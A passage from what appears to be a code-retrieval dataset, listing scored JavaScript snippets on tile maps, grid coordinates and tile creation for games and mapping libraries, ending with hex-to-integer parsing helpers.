'ETag':'73f12a518adef759138c142865287a18',\n 'Content-Type':'application/x-protobuf'\n };\n\n if (!tiles[key]) {\n return callback(new Error('Tile does not exist'));\n } else {\n return callback(null, tiles[key], headers);\n }\n }", "title": "" }, { "docid": "7133e0f802b88a1506f9b24abcbea322", "score": "0.582718", "text": "function tileToCoords(tile) {\n const yIndex = Math.floor(tile / mapW);\n const xIndex = tile - yIndex * mapW;\n\n const y = yIndex * tileSize;\n const x = xIndex * tileSize;\n return { x, y };\n}", "title": "" }, { "docid": "c813bf99daba7875190533fd15bf8ee7", "score": "0.581563", "text": "getMapTile(pos) {\n if(pos && this.isLegalPosition(pos)) {\n\n return this.map[pos[1]][pos[0]];\n }\n }", "title": "" }, { "docid": "acef644eabaadb9821991122b3866db6", "score": "0.5808698", "text": "function Tile(pointInTiles){\n\tthis.xPositionInTiles = pointInTiles.x;\n\tthis.yPositionInTiles = pointInTiles.y;\n\n\tthis.width = puzzleImageController.imageWidthInPixels / puzzleImageController.lengthInTiles;\n\tthis.height = puzzleImageController.imageHeightInPixels / puzzleImageController.lengthInTiles;\n\n // Creamos id´s únicas por tile (no puede haber dos tiles en la misma posición)\n\tthis.tileId = this.xPositionInTiles + '-' + this.yPositionInTiles;\n /*this.allocated = false;*/ // Para controlar si el tile ha sido colocado en un hueco\n}", "title": "" }, { "docid": "1061629a78927767e5778e7a9dc96b9d", "score": "0.57926506", "text": "function makeTile(x,y,sprite){\n\n\t\tvar type = \"Tile\";\n\n\t\tif(sprite == \"bb\"){\n\t\t\ttype = \"Block\"\n\t\t}\n\t\telse{\n\t\t\ttype = \"Tile\";\n\t\t}\n\n\t\tvar tile = Crafty.e(\"2D, Canvas,\" + sprite + \", \" + type)\n\t\t\t.attr({h:ONEBLOCK, w:ONEBLOCK, x:ONEBLOCK*x, y:ONEBLOCK*y });\n\t\treturn tile;\n\t}", "title": "" }, { "docid": "a422db91728161847dbed30271f9d64e", "score": "0.5790681", "text": "isValidTile(x, y) {\n let index = (y * this.config.width) + x;\n\n return x >= 0 && x < this.config.width && y >= 0 && y < this.config.height && this.tiles[index] != undefined;\n }", "title": "" }, { "docid": "8eaf8c826c386e9cb5afbfa3312960da", "score": "0.57811487", "text": "function newTile(x = 0, y = 0, val = null) {\n const tile = new Tile(x, y, tileArr, val);\n tileArr[y][x] = tile;\n}", "title": "" }, { "docid": "2ff443dfefd7e647a81acf5df86b6a0f", "score": "0.57745343", "text": "function xyTileNum(x, y) {\n var col = x / 101;\n var row = (y + 40) / 83;\n var tile = row * 5 + col;\n return tile;\n}", "title": "" }, { "docid": "741e36e5b4b294ce0f403f7217d1cfa7", "score": "0.5766537", "text": "function spawnLocation() {\n //Breaking the entire canvas into a grid of tiles\n let rows = width / tileSize;\n let cols = height / tileSize;\n\n let xPos, yPos;\n\n xPos = Math.floor(Math.random() * rows) * tileSize;\n yPos = Math.floor(Math.random() * cols) * tileSize;\n return { x: xPos, y: yPos };\n}", "title": "" }, { "docid": "b0ff25b1d0bf65cee8afb267f1a32bce", "score": "0.5755328", "text": "getTileAtPlayer(playerX, playerY, directionX, directionY) {\n playerX -= (this.tileSize / 2);\n playerX = playerX / this.tileSize;\n playerX += directionX;\n playerY -= (this.tileSize / 2);\n playerY = playerY / this.tileSize;\n playerY += directionY;\n playerX = Math.round(playerX);\n playerY = Math.round(playerY);\n if ((playerX > this.tiles.length - 1 || playerX < 0) || (playerY > this.tiles[0].length - 1 || playerY < 0)) {\n return null;\n }\n else {\n return this.tiles[playerX][playerY];\n }\n }", "title": "" }, { "docid": "6255deda5177dbfa5870a0636022636e", "score": "0.57424444", "text": "function Tile() {\n\t\tvar position = arguments.length <= 0 || arguments[0] === undefined ? [0, 0] : arguments[0];\n\t\tvar artFile = arguments.length <= 1 || arguments[1] === undefined ? \"./../assets/art/defaultTile.jpg\" : arguments[1];\n\n\t\t_classCallCheck(this, Tile);\n\n\t\tthis.position = position;\n\t\tthis.artFile = artFile;\n\t\tthis.isBoundary = false;\n\t\tthis.movementAllowed = true;\n\t}", "title": "" }, { "docid": "b3eb3e0ea9b31eebe03eaeb67d12065e", "score": "0.57321215", "text": "randomTile() {\n const x = Object(_util_random__WEBPACK_IMPORTED_MODULE_2__[\"int\"])(0, this.size.width - 1);\n const y = Object(_util_random__WEBPACK_IMPORTED_MODULE_2__[\"int\"])(0, this.size.height - 1);\n return this.findTile(new _triangulation_Vector__WEBPACK_IMPORTED_MODULE_1__[\"default\"]({ x, y }));\n }", "title": "" }, { "docid": "a3387c3bb965205ecb3682039f84921e", "score": "0.5707371", "text": "generateTile() {\n\t\tconst emptyCells = document.querySelectorAll(`.cell:empty`)\n\n\t\tif (emptyCells.length) {\n\t\t\tconst randomCell = helper.getRandomChoice(emptyCells)\n\t\t\tconst roll = helper.generateRandomNumber(10)\n\t\t\tconst newTile = helper.createDiv(\"tile\", { value: roll < 9 ? 2 : 4 })\n\n\t\t\trandomCell.appendChild(newTile)\n\t\t} else throw Error(\"board full\")\n\t}", "title": "" }, { "docid": "67c5d91fe624d617e3c98bd0aef1b4c0", "score": "0.5703565", "text": "selectedTile(worldX, worldY){\n \tlet tileXHit = this.worldToTile(worldX)\n let tileZHit = this.worldToTile(worldY)\n\n let x = tileXHit - (this.player.tileX - this.radius)\n\t\tlet z = tileZHit - (this.player.tileZ - this.radius)\n\t\tif(this.chunk[x] !== undefined\n\t\t\t&& this.chunk[x][z] !== undefined\n\t\t\t&& this.chunk[x][z] !== null)\n\t\t{\n\t\t\treturn this.chunk[x][z]\n\t\t}else{\n\t\t\treturn undefined\n\t\t}\n }", "title": "" }, { "docid": "8bfbb8f5dfee98bf440890059c17273a", "score": "0.5703191", "text": "function tile(t, id) {\r\n return t.state.objs.tiles[id];\r\n }", "title": "" }, { "docid": "d83f35a0bd2da3d5fe8de004a392b703", "score": "0.56964666", "text": "function cellAtTileCoord(layer, tx, ty)\n{\n\tif (tx < 0 || tx >= MAP.tw || ty < 0)\n\t\treturn 1;\n\t//let the player drop off the bottom of the screen (meaning death)\n\tif (ty >= MAP.th)\n\t\treturn 0;\n\treturn cells[layer][ty][tx];\n}", "title": "" }, { "docid": "6c203fa7a59c50a5aad0de29e2f2ed70", "score": "0.56809235", "text": "function tileToPixel(tile)\n{\n\treturn tile * TILE;\n}", "title": "" }, { "docid": "493a12fa392c760fb8e2aeeb4c858478", "score": "0.5680134", "text": "coordinateIsValid(x, y) {\n if (x < 0 || x >= this.tilesWide || y < 0 || y >= this.tilesHigh) {\n return false\n }\n return true\n }", "title": "" }, { "docid": "f41d2547587567648654af6ccacb0026", "score": "0.5669063", "text": "getTile(z, x, y, pixelRatio, projection) {\n const tileCoordKey = getKeyZXY(z, x, y);\n if (this.tileCache.containsKey(tileCoordKey)) {\n return (\n /** @type {!import(\"../Tile.js\").default} */ (this.tileCache.get(tileCoordKey))\n );\n } else {\n const tileCoord = [z, x, y];\n\n const urlTileCoord = this.getTileCoordForTileUrlFunction(\n tileCoord, projection);\n const tile = new VectorImageTile(\n tileCoord,\n urlTileCoord !== null ? TileState.IDLE : TileState.EMPTY,\n this.getRevision(),\n this.format_, this.tileLoadFunction, urlTileCoord, this.tileUrlFunction,\n this.tileGrid, this.getTileGridForProjection(projection),\n this.sourceTiles_, pixelRatio, projection, this.tileClass,\n this.handleTileChange.bind(this), tileCoord[0]);\n tile.isGeoVectorTile = true;\n\n this.tileCache.set(tileCoordKey, tile);\n return tile;\n }\n }", "title": "" }, { "docid": "b0d45e1bc589f95a81002bd1e8c4c002", "score": "0.56668955", "text": "function pointToTile(lon, lat, z) {\n var tile = pointToTileFraction(lon, lat, z);\n tile[0] = Math.floor(tile[0]);\n tile[1] = Math.floor(tile[1]);\n return tile;\n}", "title": "" }, { "docid": "1efed41e2ef36fba02ca919cdbea14f3", "score": "0.56666183", "text": "function getCoords(tile) {\n\t\tconst row = tile.css('top');\n\t\tconst col = tile.css('left');\n\t\treturn {row, col};\n\t}", "title": "" }, { "docid": "243ce419d2eaf35496faedd7365e6b5e", "score": "0.5658371", "text": "static atCoords(level, coordX, coordY, totalWidth, totalHeight) {\n return TileKey.fromRowColumnLevel(Math.floor(coordY / (totalHeight / TileKey.rowsAtLevel(level))), Math.floor(coordX / (totalWidth / TileKey.columnsAtLevel(level))), level);\n }", "title": "" }, { "docid": "c7d9b1b8c73179f031369e6dd480f391", "score": "0.5641814", "text": "function Tile (data, position) {\n this.data = data || null;\n this.position = position;\n this.right = null;\n this.above = null;\n this.left = null;\n this.below = null;\n this.compare = false;\n}", "title": "" }, { "docid": "03dd1de3fedf9ea51750571e9593c6fe", "score": "0.5629108", "text": "function getTileInDOM(row, col) {\r\n var gridDOM = getDOMElem(\"#grid\");\r\n var rowDOM = rowDOMAt(gridDOM, row);\r\n var tileDOM = tileDOMAt(rowDOM, col);\r\n return tileDOM;\r\n}", "title": "" }, { "docid": "b7e6513be8a283a3c23166c7d20fb4a8", "score": "0.5621482", "text": "get2dFromTileCoordinates(pt, tileHeight) {\n let tempPt = new Point(0, 0);\n tempPt.x = pt.x * tileHeight;\n tempPt.y = pt.y * tileHeight;\n\n return (tempPt);\n }", "title": "" }, { "docid": "7b967e428fa6fcff4d01fa2a41052d73", "score": "0.5600218", "text": "function tile(elementId){\n // error handling\n if(elementId.length < 4){\n return null;\n } else {\n return randomTiles[parseInt(elementId.slice(4) - 1)];\n }\n}", "title": "" }, { "docid": "2b23272a4a8f26d2381b32380cab1c7f", "score": "0.559357", "text": "createTile(coords, done) {\n var self = this;\n\n var tileSwPt = new L.Point(coords.x*256, (coords.y*256)+256);\n var tileNePt = new L.Point((coords.x*256)+256, coords.y*256);\n var sw = this.context.map.unproject(tileSwPt, coords.z);\n var ne = this.context.map.unproject(tileNePt, coords.z);\n var precision = this.getGeohashLevel(coords.z, sw, ne);\n var geohashes = gh.bboxes(sw.lat, sw.lng, ne.lat, ne.lng, precision);\n this.props.newTileDrawn({geohashes, coords, layer: this.props.layer});\n\n\t\tvar coordsIndex = coords.z.toString() + '-' + coords.x.toString() + '-' + coords.y.toString();\n\t\tvar tile = tiles.get(coordsIndex);\n if (tile && !this.props.geohashesToDraw[coordsIndex]) {\n setTimeout(function() {\n done(null, tile);\n }, 1000);\n return tile;\n }\n tile = L.DomUtil.create('canvas', 'leaflet-tile');\n tile.height = 256;\n tile.width = 256;\n\n if (this.props.dataIndex) {\n this.drawTile(coords, precision, tile, geohashes, done);\n }\n\n return tile;\n }", "title": "" }, { "docid": "16bc7b45aaa8acfaad7f3085b6c91f44", "score": "0.5588348", "text": "pickTile(tile) {\n\t\tlet result = new Board(this.tiles, this.turn)\n\t\tif (result.tiles[tile] == 0) {\n\t\t\tresult.tiles[tile] = this.turn\n\t\t}\n\t\telse if (result.turn != result.tiles[tile]) {\n\t\t\tresult.tiles[tile] = 0\n\t\t}\n\t\tresult.turn = -1 * this.turn\n\t\treturn result\n\t}", "title": "" }, { "docid": "9f4c27df43823c00c0b1ee12bbda2bec", "score": "0.55684066", "text": "static Create(args){\n let min_x = \"min_x\" in args ? args.min_x : 0;\n let min_y = \"min_y\" in args ? args.min_y : 0;\n let height = \"height\" in args ? args.height : \n (\"max_y\" in args ? args.max_y - min_y + 1 : \n args.tiles.length);\n let width = \"width\" in args ? args.width : \n (\"max_x\" in args ? args.max_x - min_x + 1 : \n args.tiles[0].length);\n\n let two_dimensional = !(\"width\" in args) && !(\"max_x\" in args);\n let mapping_func = \"MappingFunc\" in args ? args.MappingFunc : (args) => args.tile;\n let tiles_inside = \"tiles\" in args;\n let mapped_tiles = [];\n let tile_i = 0;\n for(let y = height - 1; y >= 0; y--){\n for(let x = 0; x < width; x++){\n mapped_tiles.push(mapping_func({\n tile: tiles_inside ? (two_dimensional ? args.tiles[y][x] : args.tiles[tile_i]) : null,\n pos: { x: x + min_x, y: height - y + min_y - 1 }\n }));\n tile_i++;\n }\n }\n\n let tilemap = new Tilemap(mapped_tiles, min_x, min_y, width, height);\n if(\"tile_scale\" in args) tilemap.tile_scale = args.tile_scale;\n return tilemap;\n }", "title": "" }, { "docid": "d4c82c41e26eff01a311c493ae1aa4b7", "score": "0.55570847", "text": "function findCellByCoords(x, y, cells){\n let cell;\n for (cell of cells){\n if(cell[1] === x && cell[2] === y){\n return cell;\n }\n }\n return null;\n}", "title": "" }, { "docid": "14a589acae4ddffcf210c62d2130f6bb", "score": "0.5554595", "text": "function getTileTest(z,x,y,callback) {\n var key = [z,x,y].join('.');\n\n // Headers.\n var headers = {\n 'Last-Modified': new Date().toUTCString(),\n 'ETag':'73f12a518adef759138c142865287a18',\n 'Content-Type':'application/x-protobuf'\n };\n\n if (!tiles[key]) {\n return callback(new Error('Tile does not exist'));\n } else {\n return callback(null, tiles[key], headers);\n }\n}", "title": "" }, { "docid": "7e6cb2c968b85012b127bb861cafa5c5", "score": "0.55435663", "text": "function cellAtPixelCoord(layer, x, y)\n{\n\tif (x < 0 || x > SCREEN_WIDTH || y < 0)\n\t\treturn 1;\n\t//let the player drop off the bottom of the screen (meaning death)\n\tif (y > SCREEN_HEIGHT)\n\t\treturn 0;\n\treturn cellAtTileCoord(layer, p2t(x), p2t(y));\n}", "title": "" }, { "docid": "6ce9d6ea16640a44f9292bebed879aa1", "score": "0.5528471", "text": "function checkTilesWithin(origin, key, tiles) {\n var camData = origin.split(\",\");\n //camera position\n var camX = parseInt(camData[0]);\n var camZ = parseInt(camData[1]);\n //position of tile\n var tileData = key.split(\",\");\n //tile position\n var tileX = parseInt(tileData[0]);\n var tileZ = parseInt(tileData[1]);\n var xWithin = true; var zWithin = true;\n if (tileX <(camX-(WIDTH*2+50)) || tileX > (camX+(WIDTH*2+50))) {\n xWithin = false;\n }\n if (tileZ < (camZ-(WIDTH*2+50)) || tileZ > (camZ+(WIDTH*2+50))) {\n zWithin = false;\n }\n return xWithin && zWithin;\n}", "title": "" }, { "docid": "7e13e33c4a35637821a0f7b67d0d25f1", "score": "0.5514526", "text": "get(name, properties = {})\n {\n if (typeof name === 'undefined')\n return undefined;\n\n // Iterate over the tiles\n for (let tile of this.tiles)\n {\n // Check if the name equals\n if (tile.name !== name)\n continue;\n\n // Check if the conditions are met\n if (typeof properties !== 'undefined' && !Object.keys(tile.properties).every(property => tile.properties[property] === properties[property]))\n continue;\n\n return tile;\n }\n\n // Nothing found\n console.warn(`No tile was found for \"${name}\" with properties ${properties}`)\n return undefined;\n }", "title": "" }, { "docid": "cc38cb5375bbf66848777ddcde8f8d69", "score": "0.5508275", "text": "findTileAt(row, col) {\n for(let i = 0; i < tiles.length; i ++) {\n if(tiles[i].row == row && tiles[i].col == col) {\n return i;\n }\n }\n \n return -1; //tile at desired row/col could not be found\n }", "title": "" }, { "docid": "e16c13445699f7170e48684fc040fca9", "score": "0.5507942", "text": "function getNextTile(x, y, z, dir, delta, tiles) {\n switch(dir) {\n case 0:\n z = z - delta;\n break;\n case 1:\n x = x + delta;\n break;\n case 2:\n z = z + delta;\n break;\n case 3:\n x = x - delta;\n break;\n }\n\n if(tiles[y] !== undefined && tiles[y][z] !== undefined && tiles[y][z][x] !== undefined)\n return tiles[y][z][x];\n else return false;\n}", "title": "" }, { "docid": "03282602620529e38ca4e186dbba30cf", "score": "0.5504938", "text": "searchForTile() {\n let foundTile;\n let tempTiles = Array.from(this.tiles);\n for (let i = tempTiles.length - 1; i > 0; i--) {\n if (tempTiles[i].width > this.height) {\n break;\n } else {\n if (tempTiles[i].height > this.width) {\n break;\n }\n }\n foundTile = tempTiles[i];\n }\n if (foundTile) {\n this.eat(foundTile);\n }\n }", "title": "" }, { "docid": "6cd8c761e1714a5cdeee5657a4a22158", "score": "0.5490318", "text": "getTile(i) {\n\t\t\treturn this.m_tiles[i];\n\t\t}", "title": "" }, { "docid": "d2b38d20cf382d7ebce1486ba7242456", "score": "0.5487586", "text": "function world(x,y){\n if(x >= worldWidth || x < 0 || y >= worldHeight || y < 0){\n return voidCell;\n }\n return worldArray[worldWidth*y + x];\n}", "title": "" }, { "docid": "a62605368a588e55afcb3b6c9e6d5523", "score": "0.54858714", "text": "function posToTile(pos) {\n\tvar x = Math.floor(pos.x/TILE_SIZE);\n\tvar y = Math.floor(pos.y/TILE_SIZE);\n\treturn [x,y];\n}", "title": "" }, { "docid": "0f1c5cedad2854ffd83454c49f75a3bd", "score": "0.5472114", "text": "function Tile(tx, ty, tt) {\n this.x = tx;\n this.y = ty;\n this.type = tt;\n this.roof = null;\n this.roofType = 0;\n this.eventEnter = null;\t// Can be a function pointer to execute event or null\n}", "title": "" }, { "docid": "96722aaa2191a83da5e24d2f20fbd4a3", "score": "0.54511946", "text": "function createTile(x,y,z){\n\t// console.log(lotgModels);\n\t var tile = lotgModels.hex.clone(lotgModels.hex.name);\n\t tile.lotg = {};\n\t tile.lotg.unitInfo = {};\n\t tile.lotg.type = 'TILE';\n\t tile.lotg.unitInfo.name = 'Tile';\n\t tile.lotg.object = null;\n\t tile.lotg.defaultMat = lotgMats.grass;\n\t tile.material = lotgMats.grass;\n//\t tile.lotg.defaultMat = null;\n\t tile.lotg.position = {x:x,y:y,z:z};\n\t tile.isVisible = true;\n\t if(x %2 === 0){\n\t\t tile.position.x = x * tileHalfWidth;\n\t\t tile.position.z = z * tileHeight * 2;\n\t\t \n\t }else{\n\t\t tile.position.z = z * tileHeight * 2 - tileHeight ;\n\t\t tile.position.x = x * tileHalfWidth;\n\t }\n\t tile.position.y = y * tileThickness;\n\t \n\t if(y > 0){\n\t\t try {\n\t\t\t lotg.map[x][y-1][z].lotg.object = tile;\n\t\t} catch (e) {\n\t\t\tlotg.error('No tile underneath this one, This case is not yet handeled ', e);\n\t\t}\n\t }\n\t lotg.map[x][y][z] = tile;\n\t return tile;\n\t \n\t \n\t \n }", "title": "" }, { "docid": "aa6bf88133589b838c7223c6501f4a3e", "score": "0.543971", "text": "function Tile(level, col, row, source, tileBelow) {\n var info = SDTileInfo_$(source.getTileInfo(level, col, row));\n \n // the quadtree position of this Tile:\n this.level = level;\n this.col = col;\n this.row = row;\n \n // the tile immediately below this one\n this.tileBelow = tileBelow;\n \n // the url to fetch from\n this.url = info.url;\n \n // the clipping coordinates in the source image (null means no crop)\n this.crop = info.crop;\n \n // the rectangle of image that this tile represents\n this.bounds = source.getTileBounds(level, col, row);\n \n // doesn't yet cover content below it\n this.drawnOpaque = false;\n \n // the number of tiles that need to be drawn above this one before it's covered\n this.tilesAbove = source.getNumTilesAbove(level, col, row);\n \n // the number of tiles above that have been drawn at full opacity\n this.covered = 0;\n \n // the tile is not loading yet (that we know of)\n this.loading = false;\n \n // values that are important only for prioritizing nominations.\n // we don't know them yet.\n this.area = 0;\n this.distance = 0;\n \n // might change if the tile needs to blend in\n this.opacity = 1;\n \n // If this tile gets clipped out of bounds, we'll need to know\n this.inBounds = true;\n \n // the view's state corresponding to this tile (varies by Drawer)\n this.view = null;\n}", "title": "" }, { "docid": "466b7c315a8bf2c5f8e596d10cba36f7", "score": "0.5437178", "text": "function CreateTile(x, y, type) {\n // Creation of a row\n if (x == 0) {\n var newRow = document.createElement(\"div\");\n newRow.setAttribute('id', 'row' + y);\n newRow.setAttribute('width', '100%');\n newRow.style.maxHeight = tileMaxSize;\n newRow.style.height = (100 / height) + \"%\";\n document.getElementById(\"map\").appendChild(newRow);\n }\n // Creation of a tile\n var newImage = document.createElement(\"img\");\n newImage.setAttribute('id', 'tile' + x + '-' + y)\n newImage.setAttribute('src', './assets/images/' + type + '.png');\n newImage.setAttribute('class', 'sprite');\n newImage.style.width = (100 / width) + \"%\";\n newImage.style.maxWidth = tileMaxSize;\n document.getElementById(\"row\" + y).appendChild(newImage);\n}", "title": "" }, { "docid": "a05d0f300438badff02ce3a9a5382ba7", "score": "0.54363173", "text": "function get_square (x, y) {\n\treturn board[y][x]\n}", "title": "" }, { "docid": "36dd047fcb9a65083febd7f9fafc6596", "score": "0.54287875", "text": "pickEmptyTile() {\n let tiles = this.getEmptyTiles();\n return tiles[ Phaser.Math.Between(0, tiles.length-1) ];\n }", "title": "" }, { "docid": "dee4dfc6767243eb3981c37693fa84eb", "score": "0.54275995", "text": "hasTileAt(...args) {\n if (args.length === 1) {\n let ind = args[0];\n return ind !== this.emptyPos && ind >= 0 && ind < this.numCells;\n }\n\n if (args.length === 2) {\n let [row, col] = args;\n return row >= 0 && row < this.numRows && col >= 0 && col < this.numCols;\n }\n }", "title": "" }, { "docid": "e80af7968781c310eb4fe64635cba79e", "score": "0.5424687", "text": "function cellAtPixelCoord(layer, x,y)\n{\n\tif(x<0 || x>SCREEN_WIDTH || y<0)\n\treturn 1;\n\t// let the player drop of the bottom of the screen (this means death)\n\tif(y>SCREEN_HEIGHT)\n\treturn 0;\n\treturn cellAtTileCoord(layer, p2t(x), p2t(y));\n}", "title": "" }, { "docid": "704a055cc32ebc055413fee6f00add75", "score": "0.54218155", "text": "function tileToPos(xy) {\n\tvar x = (xy[0] * TILE_SIZE);\n\tvar y = (xy[1] * TILE_SIZE);\n\treturn [x,y];\n}", "title": "" }, { "docid": "1cc668b6d962ed59e15d61915bdb3bf2", "score": "0.541503", "text": "getAdjacentTiles(x, y) {\n let tiles = [];\n for (let y2=-1; y2<=1; y2++) {\n for (let x2=-1; x2<=1; x2++) {\n if (Math.abs(x2) != Math.abs(y2)) {\n tiles.push({\n x: x + x2,\n y: y + y2\n });\n }\n }\n }\n return tiles;\n }", "title": "" }, { "docid": "4948a914a2a63b9dfec32b5eb3b33964", "score": "0.5410798", "text": "function getWorld(x, y){\n//@ifdef STATS\n\tstats.counters.getWorld++;\n//@endif\t\n\n\tvar tx = ~~(~~x / GRID_SIZE);\n\tvar ty = ~~(~~y / GRID_SIZE);\n\n\tif((tx >= WORLD_STRIDE) || (ty >= WORLD_STRIDE) || (tx < 0) || (ty < 0)) {\n\t\treturn NULL_TILE_ID;\n\t}\n\n\treturn tx + ty * WORLD_STRIDE;\n}", "title": "" }, { "docid": "0f8a07c197c49817bef18494892c1725", "score": "0.5408325", "text": "function Tile(id) {\n\t\tvar tile = data.tiles[id];\n\n\t\t/**\n\t\t * Returns an object describing the layout of the tile.\n\t\t *\n\t\t * The layout describes the tile span along the I and J axes and the I\n\t\t * and J coordinates of the reference cell relative to the tile box.\n\t\t *\n\t\t * Most tiles span over one single cell and thus their layouts specify\n\t\t * `1` for both the I and J span sizes and `0` for both the I and J\n\t\t * coordinates of the reference cell. But in case of multiple tiles the\n\t\t * I and/or J span sizes may be greater than `1` and the reference cell\n\t\t * may be located somewhere else withint the tile box.\n\t\t *\n\t\t * Note that the coordinates of the reference cell must be within the\n\t\t * `[0, s - 1]` range, where `s` indicates the span size over the axis.\n\t\t *\n\t\t * Also, both span sizes and reference cell coordinates are always\n\t\t * integer numbers.\n\t\t *\n\t\t * @method getLayout\n\t\t * @return {Object} An object containing four fields: `iSpan`, `jSpan`,\n\t\t * `i0` and `j0`. The first two are the span sizes, while the other two\n\t\t * are the coordinates of the reference cell.\n\t\t */\n\t\tthis.getLayout = function () {\n\t\t\treturn {\n\t\t\t\tiSpan: tile.layout.span.i,\n\t\t\t\tjSpan: tile.layout.span.j,\n\t\t\t\ti0: tile.layout.ref.i,\n\t\t\t\tj0: tile.layout.ref.j\n\t\t\t};\n\t\t};\n\n\t\t/**\n\t\t * Indicates whether this descriptor describes a solid tile or not.\n\t\t *\n\t\t * @method isSolid\n\t\t * @return {Boolean} `true` if this tile is solid, `false` otherwise.\n\t\t */\n\t\tthis.isSolid = function () {\n\t\t\treturn tile.solid;\n\t\t};\n\n\t\t/**\n\t\t * Returns the tile's custom properties as set in the Canvace\n\t\t * Development Environment.\n\t\t *\n\t\t * The original `properties` object is returned, so that modifications\n\t\t * actually affect the tile's properties.\n\t\t *\n\t\t * @method getProperties\n\t\t * @return {Object} The tile's `properties` field containing the custom\n\t\t * properties the user set in the Canvace Development Environment.\n\t\t */\n\t\tthis.getProperties = function () {\n\t\t\treturn tile.properties;\n\t\t};\n\t}", "title": "" }, { "docid": "92bc291d52c53ce1f2729bc580a1bfdb", "score": "0.5405033", "text": "function getTile(mapProvider, tileId) {\n var deferred = $q.defer(); // init promise\n //$log.log('Looking for tile:', tileId);\n OfflineTilesFactory.read(mapProvider, tileId, function (blob) {\n if (blob !== null) deferred.resolve(blob); // Tile found in local storage\n else deferred.reject(); // Tile not found in local storage\n });\n return deferred.promise;\n }", "title": "" }, { "docid": "dba65dfb242eb7e26d94494758d399b2", "score": "0.54013497", "text": "function Tile() {\n // Each tile has six associated nodes, one at each vertex. The capital\n // letters in the names are the locations of the node (ex. N = North).\n this.nodeN = null;\n this.nodeNE = null;\n this.nodeSE = null;\n this.nodeS = null;\n this.nodeSW = null;\n this.nodeNW = null;\n\n // Each tile has a type. One of Forest, Field, Pasture, Mountain,\n // Hill, or Desert.\n this.tile_type = null;\n\n // Each tile has an associated token between 2 and 12, excluding 7.\n this.token = null;\n\n // A tile may have a robber on it. True if robber is on tile.\n this.robber_present = false;\n}", "title": "" }, { "docid": "84035830736dd729ce87903e73b0bbbe", "score": "0.53971934", "text": "function Tile(xPos, yPos, width, height, colour) {\r\n \"use strict\";\r\n \r\n // Properties\r\n this.x = xPos;\r\n this.y = yPos;\r\n this.width = width;\r\n this.height = height;\r\n this.colour = colour;\r\n this.removed = false;\r\n \r\n // Methods\r\n // Moves a tile along the horizontal axis\r\n this.moveX = function (x) {\r\n this.x += x;\r\n };\r\n \r\n // Checks if top of tile hit\r\n this.checkTopHit = function (object) {\r\n return object === this.y;\r\n };\r\n \r\n // Checks if bottom of tile hit\r\n this.checkBottomHit = function (object) {\r\n return object === this.y + this.height;\r\n };\r\n \r\n // Checks if left side of tile hit\r\n this.checkLeftHit = function (object) {\r\n return object === this.x;\r\n };\r\n \r\n // Checks if right side of tile hit\r\n this.checkRightHit = function (object) {\r\n return object === this.x + this.width;\r\n };\r\n \r\n // Checks if hit is within the width of the tile\r\n this.checkHorizontalBounds = function (object) {\r\n return (object >= this.x) && (object <= (this.x + this.width));\r\n };\r\n \r\n // Checks if hit is within the height of the tile\r\n this.checkVerticalBounds = function (object) {\r\n return (object >= this.y) && (object <= (this.y + this.height));\r\n };\r\n \r\n // Draws a single tile\r\n this.drawTile = function (context) {\r\n context.save();\r\n context.beginPath();\r\n context.fillStyle = this.colour;\r\n context.rect(this.x, this.y, this.width, this.height);\r\n context.fill();\r\n context.stroke();\r\n context.restore();\r\n };\r\n}", "title": "" }, { "docid": "dd444a75ac04534581df60d4a89afe2a", "score": "0.5387967", "text": "GetTileInDirection(robot){\n if(robot.Tile.Position == null) return;\n switch(robot.Direction) {\n case direction.NORTH:\n return this.GetTile(new Position(robot.Tile.Position.x, robot.Tile.Position.y+1));\n case direction.EAST:\n return this.GetTile(new Position(robot.Tile.Position.x+1, robot.Tile.Position.y));\n case direction.SOUTH:\n return this.GetTile(new Position(robot.Tile.Position.x, robot.Tile.Position.y-1));\n case direction.WEST:\n return this.GetTile(new Position(robot.Tile.Position.x-1, robot.Tile.Position.y));\n }\n }", "title": "" }, { "docid": "eabe66aea372f0e0eecf92a6e32bfd14", "score": "0.53829867", "text": "function getCell(grid, row, col) {\n let empty = null;\n if (row < 0 || col < 0) {\n return empty;\n } else if (row >= grid.length) {\n return empty;\n } else if (col >= grid[row].length) {\n return empty;\n } else {\n return grid[row][col]\n }\n}", "title": "" }, { "docid": "54ca09767c5dcc980f962e155a3a25ba", "score": "0.53685176", "text": "function tile() {\n let s = size;\n if (tiling.maxGen === 0) {\n s /= 1 + Math.sqrt(3);\n }\n const r = s / Math.sqrt(3);\n const z = s * Math.cos(Math.PI / 12);\n switch (tiling.initial) {\n case 'square':\n square(0, -s / 2, -s / 2, s / 2, s / 2);\n break;\n case 'rhomb30':\n rhomb30(0, -z, 0, z, 0);\n break;\n case 'rhomb60':\n rhomb60(0, -rt32 * s, 0, rt32 * s, 0);\n break;\n case 'triangleR':\n triangleR(0, -rt32 * r, -r / 2, rt32 * r, -r / 2, 0, r);\n break;\n case 'triangleL':\n triangleL(0, -rt32 * r, -r / 2, 0, r, rt32 * r, -r / 2);\n break;\n case 'dodecagon':\n for (let i = 0; i < 12; i++) {\n rhomb30(0, 0, 0, secondX[i], secondY[i]);\n }\n break;\n }\n}", "title": "" }, { "docid": "5fdf95ba8be4947c54676de22066141f", "score": "0.5365814", "text": "function Tile()\n {\n var value = 0;\n var visible = false;\n\n return {\n value: value,\n visible: visible,\n }\n }", "title": "" } ]
13d48895018a7ce8a9fcc8471d1fae34
Parse a base16 hex value into a base10 integer
[ { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.7292341", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" } ]
[ { "docid": "b1f010c4cf1e35cad2d013409454b749", "score": "0.74896985", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "aa3385581f31ecf0b88674a057e88d26", "score": "0.7400584", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "aa3385581f31ecf0b88674a057e88d26", "score": "0.7400584", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "ea1be594ac0144e048a030330c2125ac", "score": "0.7384565", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "ea1be594ac0144e048a030330c2125ac", "score": "0.7384565", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "236cf86ec06bc403d1917c1ce36770ad", "score": "0.73477006", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "462468984855b5ccc550a9499d3e2944", "score": "0.727649", "text": "function hex2int(string) {\r\n return parseInt(string, 